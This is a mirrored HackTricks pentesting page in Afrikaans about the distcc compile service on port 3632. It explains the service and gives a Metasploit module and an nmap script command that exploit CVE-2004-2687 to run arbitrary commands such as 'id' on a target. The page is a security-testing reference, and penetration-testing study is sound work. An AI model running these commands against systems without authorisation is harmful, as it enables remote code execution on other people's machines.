Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/3632-pentesting-distcc.md

3.3 KiB
Raw Blame History

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Distcc is 'n instrument wat die kompileringproses verbeter deur die onbenutte verwerkingkrag van ander rekenaars in die netwerk te benut. Wanneer distcc op 'n masjien opgestel is, is hierdie masjien in staat om sy kompileringstake na 'n ander stelsel te versprei. Hierdie ontvangerstelsel moet die distccd daemon hardloop en 'n verenigbare kompilator geïnstalleer hê om die gestuurde kode te verwerk.

Verstekpoort: 3632

PORT     STATE SERVICE
3632/tcp open  distccd

Uitbuiting

Kyk of dit vatbaar is vir CVE-2004-2687 om arbitrêre kode uit te voer:

msf5 > use exploit/unix/misc/distcc_exec
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"

Shodan

Ek dink nie Shodan detect hierdie diens nie.

Hulpbronne

Pos geskep deur Álex B (@r1p)

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: